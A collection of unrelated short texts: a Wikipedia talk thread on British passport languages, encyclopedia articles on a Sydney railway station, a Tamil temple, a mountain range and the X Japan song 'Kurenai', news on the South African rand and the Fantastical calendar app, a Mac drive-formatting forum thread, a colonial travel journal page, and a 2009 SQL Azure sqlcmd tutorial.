* It may be for consistency with old systems. (Consider just how long a history core airline ticketing systems have). I've just picked up a month-old passport, and Welsh and Gaelic are currently present on the title page - on the left hand side (as local languages) rather than the right hand side which is EU languages and does not contain them; they are also present on the two translations pages as the second and third language respectively, with the others following in the same order as the title page. (The translations used to be on one page, and are now spread over two - the EU has expanded a lot!) The inside cover has "Her Britannic Majesty's..." in English only; the next page (1) is the title page, then image page (2), then official observations (3). Both (2) and (3) have the labels in English and French. The following pages are the translations (4-5), then blanks for visas up to 31. 32 is notes in English only, then inside back is contact details. Andrew Gray (talk) 20:57, 3 August 2013 (UTC)
* Thanks, Andrew, for a very clear answer. But I think you meant that the observation page(2) goes before the photo/information page(3), doesn't it? Or is there just issued a new design (again) with the pages switched?
* By the way, though not British, but I've found the translation page of the most multilingual passport of Europe - the Swiss one. I suppose this page (they must be two) in the British passport looks alike, and all EU-passports have such pages.--Lüboslóv Yęzýkin (talk) 23:10, 3 August 2013 (UTC)
* My passport is a little over a year old, so presumably doesn't include Croatian, but the order of pages is a) burgundy cover, b) Her Britannic Majesty's.... c) On the left: European Union/ Yr Undeb Ewropeaidd / Aonadh Eorpach UNITED KINGDOM OF GREAT BRITAIN AND NORTHERN IRELAND / Teyrnas Gyfunol Prydain Fawr a Gogledd Iwerddon / Rioghachd Aonaichte Bhreatainn is Èireann a Tuath Passport / Pasbort / Cead-siubhail, on the right, the same in very small print in all current EU official languages (incidentally, I was rather surprised as I was always under the impression that the Welsh for "passport" if you were being formal is "trwydded teithio", not "pasbort" which is just a borrowing from English). d) the plasticised data page, e) observations (including a second printed copy of my photo), f) over the next two pages the index to translations in order (as far as I can make out): English, Welsh, Gaelic, Dutch, French, German, Italian, Danish, Irish, Greek, Spanish, Portuguese, Finnish, Swedish, Czech, Estonian, Lithuanian, Latvian, Maltese, Polish, Slovak, Slovenian, Hungarian, Bulgarian, and Romanian. I was a bit puzzled by the order, but I think it's roughly in order of accession to the EU. g) pages 6-31 for visas (n.b. the pages are not blank, but are printed faintly with various landscapes, scenes, weather forecasting symbols, etc, h) page of useful notes i) emergency contact addresses/phone numbers for the holder to write in, j) rear burgundy cover. -- Arwel Parry (talk) 00:26, 4 August 2013 (UTC)
* Thanks. Not about languages, but you've also said (as Andrew above) that the photo/information page (d) goes before the observation page (e) and not vice versa. So, is this already outdated then?--Lüboslóv Yęzýkin (talk) 02:46, 4 August 2013 (UTC)
* No, that's still correct. As you can see from the perforated passport number that runs up the right hand side (and through every page except the cover) these form a pair of pages which are both visible at the same time when the passport is opened. The data page at the bottom of the picture is the first, on the left when you open the book, while the observations page is on the right. -- Arwel Parry (talk) 09:27, 4 August 2013 (UTC)
* Yes, as Arwel says the photo-information page is p. 2 and the official comments page is p. 3 (they're not numbered, but you can count). I suspect that alternative forms of the name, if both are used in common practice, might be listed on the "official observations" section; I remember when filling out the forms that they explicitly asked about the situation where someone used both a maiden and a married name, presumably so that both could be listed on the passport? But I haven't seen any examples of this. Andrew Gray (talk) 14:37, 4 August 2013 (UTC)
* Oh, I didn't mention the perforated numbers! :) I thought that the image above is turned clockwise, but it is turned anti-clockwise. A little unusual for me as in many national passports the photo/information page is in page 3.--Lüboslóv Yęzýkin (talk) 21:38, 4 August 2013 (UTC)
* Oh yes, forgot to mention personal names. In Welsh usage most people stick to one form of their name their whole lives - my first name has no English equivalent, but I use the English form of my family name rather than "Parri" (which is very rare outside the media); my father went through his whole life known by the firstnames Gwilym Hugh, which is an unusual mixture, rather than Gwilym Huw; I can only presume that the registar when his birth was recorded in 1919 had a policy of only using English names, as I discovered his birth certificate records his firstnames as William Hugh! How this would be resolved on a passport will have to remain a mystery, as he never had one. The only place where "cymricised" surnames are commonly found is the media - I remember one tv reporter listed as Siôn Pyrs, though I would be willing to bet that his birth certificate says he's John Pierce; my parents thought this sort of thing was rather pretentious. -- Arwel Parry (talk) 01:01, 4 August 2013 (UTC)
So in this national pages there was opportunity to write own name in de-russified form. So Минтимер Шарипович Шаймиев could be written as Минтимер Шәрип улы Шәймиев (with the Tatar letter ә and улы "son of" instead of -ович-/-ovich) in the national part of his passport and so on. As I know in Tatarstan there is still an option to get the version of the Russian internal passport with the additional pages in Tatar (but at the end of it). I thought that such a practice exists in other countries.--Lüboslóv Yęzýkin (talk) 04:31, 4 August 2013 (UTC)
* I don't know whether it was pretentious but in the Soviet "internal passports" (equal to modern ID-cards) there were additional pages in local languages of the republics. So each of the 14 "full" republics and each of the autonomous republics/regions inside the RSFSR had its own version of the passport, which differed from the "common" full-Russian version that it had the additional translated page with the title and the translated information page (so all the text there was printed/written in a national language: name, place of birth, month of birth, nationality, etc.), and all other printed text was duplicated in a national language along with Russian. | WIKI |
Sorry Sunrise, I’m switching to Fantastical – TechCrunch
Fantastical has a huge update on OS X today. There are tons of new things, like native Exchange support, checking your coworkers’ availability, notifications for shared calendars in iCloud, printable calendars and more. But enough with the release notes, and let’s talk about calendars. If you’ve been following my writing over the years, you know how much I love Sunrise. Sunrise has been my calendar of choice for years on my iPhone, iPad and Mac. I’m a hardcore calendar user. I don’t know where I’m supposed to be without my calendar. But Microsoft acquired Sunrise and is now in the process of integrating Sunrise into Outlook. Outlook on iOS is a damn good Gmail client, but there’s no chance I’m using Outlook on my Mac. On iOS, Sunrise hasn’t been updated for months. It doesn’t support the 12.9-inch iPad Pro resolution, split screen and Spotlight search on the home screen. I feel like it’s going to get worse with iOS 10 until Microsoft decides to remove the app from the App Store at some point. So my once great calendar setup is now slightly broken. On OS X, I don’t want to go back to Google Calendar because it looks like a Minitel, and I don’t want to use the default calendar app because it’s not powerful enough for my needs. A few weeks ago, I gave Fantastical a shot with a beta version of today’s update. And what a good surprise. Fantastical has a crisp user interface, supports all major calendar backends, handles native language event creation and more. In other words, Fantastical is a capable OS X calendar. The team has built its own native CalDAV engine so it doesn’t rely on OS X’s calendar process. On this front, Fantastical on OS X is more powerful than Fantastical on iOS. I’ve used this opportunity to switch to iCloud as my calendar backend as well, and I’ve had zero issue whatsoever (Google Calendar provides an export tool). The Fantastical menu bar mini window is pretty great as well. It lets me open a small feed of my next calendar events without having to switch to another window. Fantastical isn’t cheap. At $50, only the most hardcore calendar users are going to consider buying it. But it’s worth it. Now it’s not perfect. There are many features I miss from Sunrise, such as integrations with third-party services. I wish Fantastical could look up LinkedIn profiles, show my Foursquare checkins, Eventbrite tickets, Meetup invites, and more. But it’s time to turn the page. Oh, Sunrise. You were so great. But ever since you stopped updating, you also made me worry. Calendars are essential for me, and I don’t want to get caught by surprise if you shut down tomorrow. We had a good ride. Love, Romain. [gallery ids="1299684,1299687,1299683,1299685"] | NEWS-MULTISOURCE |
Page:Early western travels, 1748-1846 (Vol 1 1904).djvu/292
286 11th.—We longed very much to go farther; and therefore spoke to Major Halket, and desired him to enquire of the general, if he intended to speak with us, or, if we might go; as we were in a poor condition, for want of linen, and other necessaries. He desired us to bring the Indians' answer, and our journal to the general. Mr. Hays read his journal to Major Halket and Governor Glen. They took memorandums, and went to the general.
12th.—They told us we should stay till the general went.
14th.—The general intended to go; but his horses could not be found. They thought the Indians had carried them off. They hunted all day for the horses, but could not find them. I spoke to Colonel Bouquet about our allowance being so small, that we could hardly subsist; and that we were without money; and desired him to let us have some money, that we might buy necessaries. Provisions, and every thing is exceeding dear. One pound of bread cost a shilling; one pound of sugar four shillings, a quart of rum seven shillings and six pence, and so in proportion. Colonel Bouquet laid our matters before the general; who let me call, and excused himself, that his distemper had hindered him from speaking with me; and promised to help me in every thing I should want, and ordered him to give me some | WIKI |
Circular Quay railway station
Circular Quay railway station is a heritage-listed elevated commuter rail station that is located on the City Circle route, serving the Circular Quay precinct of the Sydney central business district in New South Wales, Australia. It is served by Sydney Trains T2 Inner West & Leppington, T3 Bankstown and T8 Airport & South line services.
It is adjacent to the Circular Quay ferry wharf complex, which serves as an interchange to Sydney Ferries.
History
Circular Quay is an area of historical significance for Sydney, as it was for a long time the central harbour of a settlement which relied on shipping for its connection to the outside world. By the 20th century, ferry commuter wharves began to eclipse commercial shipping wharves as the dominant feature of the Quay area. The area became a transport hub as it served as the terminus of both ferry and tram services.
Planning for a railway station here to complement this transport hub began in 1909, and work was authorised in 1915. Tunnels to link the surrounding stations to the future Circular Quay station were built from Central between 1917 and 1926 to St James (eastern section) and 1932 to Wynyard (western section). Work on the section of the railway through Circular Quay began in 1936, was interrupted by World War II, and recommenced in 1945. Work was again interrupted between 1951 and 1953 with the viaduct finally completed in 1954. The supporting beams were fabricated at Chullora Railway Workshops in the 1930s. They were used during the construction of the Hawkesbury River Railway Bridge in the 1940s, before being returned to Chullora.
Designs for the station building itself commenced in 1927, revised in 1937, and the station was finally completed and opened on 20 January 1956 by State Premier Joseph Cahill, with the first regular train services beginning on 22 January. The completion of Circular Quay station marked the completion of the City Circle railway as originally envisaged by John Bradfield making it the newest station on the line.
The construction and placement of the station was always controversial due to its prominent location at the head of Circular Quay, an important natural and cultural landmark and visitors' attraction. When the Cahill Expressway opened above the station in 1958, the controversy over the entire structure only intensified. There have been various proposals to relocate the station underground in conjunction with the demolition of the Cahill Expressway, however these have not come to fruition.
Along with Central station, Circular Quay received one of the first easy access upgrades which included lift access prior to September 1998.
In 2006, RailCorp performed maintenance and cleaning of the station's 50-year-old facade. A refurbishment in 2007 introduced sun-shading awnings on the platforms, removed advertising hoarding between the tracks, and improved facilities on the concourse level.
Design
Circular Quay station features a ground-level central concourse, and elevated platforms on a second level. Both platforms feature sections of open galleries, offering views to Circular Quay, the Sydney Harbour Bridge and the Sydney Opera House on one side, and Customs House and the Alfred Street plaza on the other. Viaducts lead from the elevated platforms to tunnels through surrounding elevated terrain that lead to neighbouring stations.
The station has two main, double-storey facades, facing Circular Quay to the north, and Customs House to the south respectively. The northern facade is faced with polished granite tiles, while the southern one features polished granite and sandstone. The station name is featured in steel lettering on both sides. The upper storey of the facades correspond to the central sections of the platforms, and feature steel-framed windows. The exterior of the remainder of the platform feature open, glass-railed galleries, supported on the lower level by a continuation of the central facade. The top of the northern, harbour-facing facade is incorporated into the viewing platform and rest area located above the station alongside the Cahill Expressway roadway. This platform can be reached from the pedestrian walkway on the Cahill Expressway.
The station platforms are reached from the ground level concourse via stairs, escalators and lifts. The central concourse is surrounded on either side by retail and food shops and public toilets located under the elevated platforms. The concourse is decorated with brass details in an aquatic animal motif, seen in sculpted grills above stairways and doorways. Glass bricks are used extensively in various parts.
The station is in an inter-war functionalist style, as seen in the strong horizontal lines presented by the windows and galleries, with art deco details.
Transport links
South of the railway station is the Alfred Street bus terminus. A number of Transdev John Holland routes originate from there while two Big Bus Tours routes depart from George Street just north of Alfred Street.
Adjacent to the station lies Circular Quay wharf that is served by Captain Cook Cruises, Manly Fast Ferry and Sydney Ferries services. | WIKI |
Valisvarar Temple, Sevur
Valisvarar Temple is a Siva temple in Sevur in Tiruppur in Tamil Nadu, India.
Vaippu Sthalam
It is one of the shrines of the Vaippu Sthalams sung by Tamil Saivite Nayanar Sambandar and Sundarar.
Presiding deity
The presiding deity is known as Valisvarar. The Goddess is known as Aram Valartha Nayaki.
Speciality
This place was worshipped by Vali. | WIKI |
-- S. African Rand Gains to Week High Versus Dollar on Bond Inflows
The rand gained to the strongest
level in a week as yields among the highest in emerging markets
lured foreign investors to South Africa ’s bonds, outweighing
risk aversion sparked by the U.S government shutdown. Foreigners bought a net 592 million rand ($59 million) of
South African bonds yesterday, a third day of inflows, according
to JSE Ltd. data. Foreign investors have bought 1.2 billion rand
of the nation’s debt since the partial shutdown began. South
Africa depends on portfolio inflows to plug its current-account
deficit and support the rand. “One reason for the rand’s resilience remains the strong
portfolio inflows,” John Cairns , a currency strategist at Rand
Merchant Bank in Johannesburg, said in e-mailed comments.
Foreign bond and equity purchases since the start of the
shutdown are “equivalent to a monthly rate of around 10 billion
rand, which is good but not brilliant” he said. The rand appreciated 0.4 percent to 9.9615 per dollar, the
strongest level since Oct. 1, as of 11:39 a.m. in Johannesburg.
Yields on benchmark 10.5 percent bonds due December 2026 were
little changed at 8.04 percent. South African local-currency 10-year yields are the third-highest after Greece and Turkey among emerging-market peers in
Europe, the Middle East and Africa, according to data compiled
by Bloomberg. Federal Reserve Bank of Dallas President Richard Fisher
said yesterday the U.S. “cannot afford to default” and that
debt ceiling talks “will come down to the wire.” With the
country’s borrowing authority set to lapse Oct. 17, President
Barack Obama reiterated that he won’t negotiate with Republicans
over raising the debt ceiling or reopening the government. To contact the reporter on this story:
Robert Brand in Cape Town at
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Hindenburg Range
The Hindenburg Range is a mountain range in the remote North Fly District of the Western Province of Papua New Guinea, stretching from the Star Mountains to the east. The Hindenburg Wall escarpment leads up to the range. | WIKI |
Mac Files Won't Copy To External Hard Drive Plus Won't Format
Hello,
I bought a Hitachi external drive last week as I need to transfer files off my Mac. Any time I go to transfer files from my Mac to the external I get the "not permitted" sign. I then tried to format the drive for PC and Mac but I got an "erase failed" notice. I have also downloaded and installed MacFUSE but that did nothing to resolve the problem. Is the drive faulty? Any feedback appreciated.
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1. as you just purchased the external drive you should contact the manufacturer. you may need to have the drive replaced.
2. If the drive is new and nothing has been copied to it yet you are best to plug it into your pc but to be compatible to both it MUST be formatted fat32 NOT ntfs.
fat32 is the only common format that can be read on pc and mac.
Chances are that drive is formatted in ntfs so you can't transfer files to it.
3. You need to format the drive to something that OSX will read. Alternatively, you can get an NTFS driver from here: http://www.tuxera.com/products/tuxera-ntfs-for-mac/ No format required for this one, although it does cost.
4. If you only want to use it with Mac then let your Mac format it as others have said.
Howver, there is more than just one choice for formatting an external drive for both Mac and Windows. There is an article about it here:
http://externaldisk.co.uk/article/2012/05/14/format-my-drive-for-mac-and-windows.html
To cut a long story short exFAT can be used with both Mac and many Windows operating systems as well as FAT32. You can also get software for either Mac or Windows that can read and write the other Operating Systems favourite format, but there is usually a cost.
5. You can run the Windows partition on a Mac without formatting it. I just installed Tuxera and it works good. There is an article with a couple different ways to to make windows drives run on mac wthout haveing to reformat: http://appducate.com/2013/01/read-write-to-windows-ntfs-partition-on-mac/
6. HI ,
Even i tried install Tuxera and it worked .
It will available as a trial vertion for 15 days and u need to but the full version later.
Link: http://www.tuxera.com/products/tuxera-ntfs-for-mac/
And one more option is : Paragon NTFS
This is also as same as Tuxera and need to buy after a trial period.
Link: http://www.paragon-software.com/home/ntfs-mac/
The above two will be useful for copying files from MAC to NTFS Hard disk
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Cloud Database with Microsoft SQL Azure
Friday Oct 2nd 2009 by Don Schlichting
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SQL Azure, originally called SQL Data Services has been rebranded and its features have been expanded. One of the new features, and the focus of this article, is the ability to manage, create, and manipulate the cloud database using TSQL.
Introduction
SQL Azure is a cloud database system offered by Microsoft. Originally, the product was called SQL Data Services or SDS. It has now been rebranded and its features have been expanded. One of the new features, and the focus of this article, is the ability to manage, create, and manipulate the cloud database using TSQL. TSQL (Transact Structured Query Language) is SQL Servers native language for database management. Originally, TSQL was not supported on most cloud database systems, Azure included. Instead, propriety languages or variations of LINQ were required. So TSQL is a welcome addition because we can now leverage our exiting DBA skills to the cloud. In addition, because the SQL Azure data types and stored procedures closely match traditional SQL Server, it’s easy to develop locally then deploy to the cloud like we would to any other hosting platform.
Azure
Azure is a could-computing system provided by Microsoft. Think of Azure as a cloud operating system that provides our applications with storage and a programming platform. Cloud in this sense of the word means Azure sits out in the internet, on hardware managed by Microsoft. The day-to-day management of hardware resources is controlled by the Azure system and we have no visibility or responsibility for it. Our applications connect to Azure through a service using SOAP or REST.
Azure itself provides storage and a programming platform. On top of Azure, there are five extensions that provide additional services. The five extensions are Live Services, Net Services, Share Point, CRM, and SQL Azure. Live Services provides access to applications such as Live ID and Windows Live Messenger. Net Services provides a “service bus” to help tie separate modules together into one application. Share Point Services provides a platform for developing collaborative applications. The CRM Service exposes a base to develop customer management software. The last module, and the focus of this article, is SQL Azure.
SQL Azure
SQL Azure is a relational database. Relational Databases in the cloud are not common. Most are non-relational and you create highly non-normalized tables instead. Another uncommon plus is that SQL Azure supports Stored Procedures. Using stored procedures allows for clean separation between database and application logic. Another feature is the wide amount of data types supported by SQL Azure. Almost all the typical SQL Server 2008 data types are included. In addition, SQL Azure supports Transactions in the cloud.
Getting Started
At the time of this articles publication, SQL Azure has not been officially released. So to get started; request a CTP (community technology preview) account from Microsoft at this URL: http://msdn.microsoft.com/en-us/sqlserver/dataservices/default.aspx . Once the account is created, a set of connection strings will be generated. These connection strings provide access to your own personal cloud database from Dot Net, the SQL Command Prompt, or any other ODBC or OLE DB connection. Below is the connection for Dot Net.
Server=tcp:o8oudehe7w.ctp.database.windows.net;
Database=master;
User ID=dons;
Password=myPassword;
Trusted_Connection=False;
The Server section in the sting references my personal space in the cloud, which is “o8oudehe7w”. Each account will be unique. The Trusted Connection is set to false because we're not using Windows security. The connection strings, as well as some minor database management tasks can be accessed from a web tool shown below.
Azure web tool
Currently, the database tasks that can be performed from the web tool are limited to only database creation and dropping. Unfortunately, there isn’t a SQL Server Management Studio equivalent for the cloud.
SQL Command (SQLCmd)
SQLCmd is command prompt utility included with traditional SQL Server. It can be embedded into scripts or run interactivity. SQLCmd includes a wide array of options such as logging, formatting, and basic error handling. To begin the example, open a command prompt and pass the SQL Azure connection string to SQLCmd as shown below:
sqlcmd -U dons@o8oudehe7w -P password -S o8oudehe7w.ctp.database.windows.net -d master
If the connection is successful, a 1> cursor will be shown. We now have an interactive session with the cloud database. In the connection string, the –U (user) name @ server syntax is used, but just the server prefix, not the fully qualified name. The FQN (fully qualified name) is used with –S (server) switch. The –d (database) switch connects us to the master database. Master is automatically created for us when our CTP account is created.
CREATE DATABASE
To create a new user database, at the 1> prompt type: CREATE DATABASE Test1, and then press enter. A >2 prompt will appear, type GO and then press enter. If the create is successful, the prompt will renew to its >1 state. If there is an error during the CREATE, it will be displayed on the dos command line. Refreshing the view of the web administration tool shows the new database was created.
the new database was created
To connect to our new database using SQLCmd, first close the current connection to master by typing QUIT to exit SQLCmd and be returned to the command prompt. Reenter the previous connection command but change the database to the new Test1 as shown below:
sqlcmd -U dons@o8oudehe7w -P microsoft1! -S o8oudehe7w.ctp.database.windows.net -d Test1
The prompt will change to the SQLCmd >1 without error, showing we’re connected to the new Test1 cloud database.
CREATE TABLE
The syntax for creating a table in SQL Azure is the same for traditional SQL Server. One note though, Azure does not support heap tables, meaning every table must have a key or index. To create a table, enter the following TSQL statement at the SQLCmd prompt:
CREATE TABLE table1 ( mynumber int primary key, mystring varchar(50))
GO
After the GO, the prompt will return to the >1 symbol. Data can now be inserted into the new table using the following statement:
insert into table1 (mynumber, mystring) values (1, 'test')
GO
SQLCmd will confirm the successful insert by reporting “1 row affected”. The test data can be retrieved by using a standard SELECT statement as shown:
test data can be retrieved by using a standard SELECT statement
Conclusion
SQL Azure is a Microsoft cloud database. SQLCmd can be used to access and manipulate SQL Azure. TSQL commands common to traditional SQL Server are supported. In addition, Transactions and Stored Procedures are also supported.
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Kurenai (song)
"Kurenai" (紅) is a song by Japanese heavy metal band X Japan, written by Yoshiki. One of the band's oldest songs, they have been performing "Kurenai" since 1985, and several versions have been released, most significantly as their major-label debut single on September 1, 1989.
Background and release
"Kurenai" was first released on X's June 1985 live demo tapes, which were titled "Live" and "Endless Dream". The lyrics are entirely in Japanese, while the next version, released on their April 1988 debut album Vanishing Vision, is entirely in English and begins with an intro played by hide on guitar. A flexi disc included within the June 1988 issue of Rockin' f magazine, contains "Kurenai (Original Japanese Version)". It begins with an intro played by Yoshiki on piano and contrary to the title, was mostly in English. The version on 1989's Blue Blood begins with an orchestrated piece, then the guitar intro, and is mostly in Japanese, with only the opening lyrics in English. Only a few months later, the single version was released, although very similar to the recording on Blue Blood, it does not have the orchestrated intro.
While appearing to be a love song, Yoshiki stated that "Kurenai" is actually about the struggle of one's heart. hide revealed that it was his favorite X song before he joined the band and was disappointed that they did not perform it when he did, so he had to nag to get them to play it. Yoshiki commented that was probably because the song's arrangement at the time was too simple. Both Toshi and Taiji felt that the track has a very Japanese feel to it, with Taiji stressing that each member helped arrange the version that appears on their debut album.
"Kurenai" is one of X Japan's signature songs. It is played at nearly all of their concerts, often accompanied by the stage being lit in red light and the band pausing during the last third in order to let the audience sing the chorus on their own. The single version features that specific bit of a live performance added after the studio recording, hence the title being written as "紅 Kurenai + Your Voice" on the back of the single's case. The B-side is a live recording of the song "20th Century Boy", originally by British rock band T. Rex. The live material from both songs was recorded on June 10, 1989 at Hibiya Yaon.
A new English-language version of "Kurenai" was reportedly recorded for X Japan's unreleased studio album, before it was decided to create entirely new material instead.
Music videos
Two music videos for "Kurenai" have been created. The first was included on their independently released Xclamation VHS in 1987, before being included on DVD in the X Japan : Complete II box set in 2005. Making-of footage for what was advertised as a music video for "Kurenai" was included on the CBS/Sony produced VHS Thanx in 1989. However, this footage was used in a music video for the song "Xclamation" on the ''Shigeki! Visual Shock Vol. 2'' home video later that year instead.
The second was directed by Nathan Fox and mainly shot as the band performed live on top of the Kodak Theatre in Hollywood, California in January 2010, it has the sound of the audience added to the audio.
Commercial performance
It reached number 5 on the Oricon chart, and charted for 39 weeks. In 1989, with 133,090 was the 74th best-selling single of the year, and in 1990, with 176,450 was the 67th best-selling single, being certified Gold by RIAJ.
Legacy and cover versions
"Kurenai" was covered by Brazilian power metal band Shaman, on the Japanese edition of their 2010 album Origins. It was also covered by Matenrou Opera on the compilation ''Crush! -90's V-Rock Best Hit Cover Songs-'', which was released on January 26, 2011 and features current visual kei bands covering songs from bands that were important to the '90s visual kei movement. Female heavy metal band Show-Ya released a version of the song for their 2014 cover album Glamorous Show ~ Japanese Legendary Rock Covers, and recorded a music video to accompany it. Japanese voice actress Satsumi Matsuda released a version of the song for the 2014 album ''THE IDOLM@STER CINDERELLA MASTER Passion jewelries! 002.'' Japanese metal band Esprit D'Air released a cover version of the song as a single in 2021, and was accompanied by a motion graphics video along with it.
On November 21, 1993, SME Records released, a short film based on the manga series X by Clamp and set to X Japan's music. It features a slideshow of the manga's artwork set to a medley of X Japan's "Silent Jealousy", "Kurenai" and "Endless Rain" and a music video for the song "X" directed by Shigeyuki Hayashi.
"Kurenai" is a playable song in the Taiko no Tatsujin series of music video games, in every arcade version since Taiko no Tatsujin 8, as well as Taiko no Tatsujin Wii: Do Don to 2 Daime, Taiko no Tatsujin: Portable DX, and Taiko no Tatsujin Plus.
The Japanese TV program Music Station named "Kurenai" the "Most Intense" song of the Heisei period, and the fourth best "High Key Song" of the period. | WIKI |
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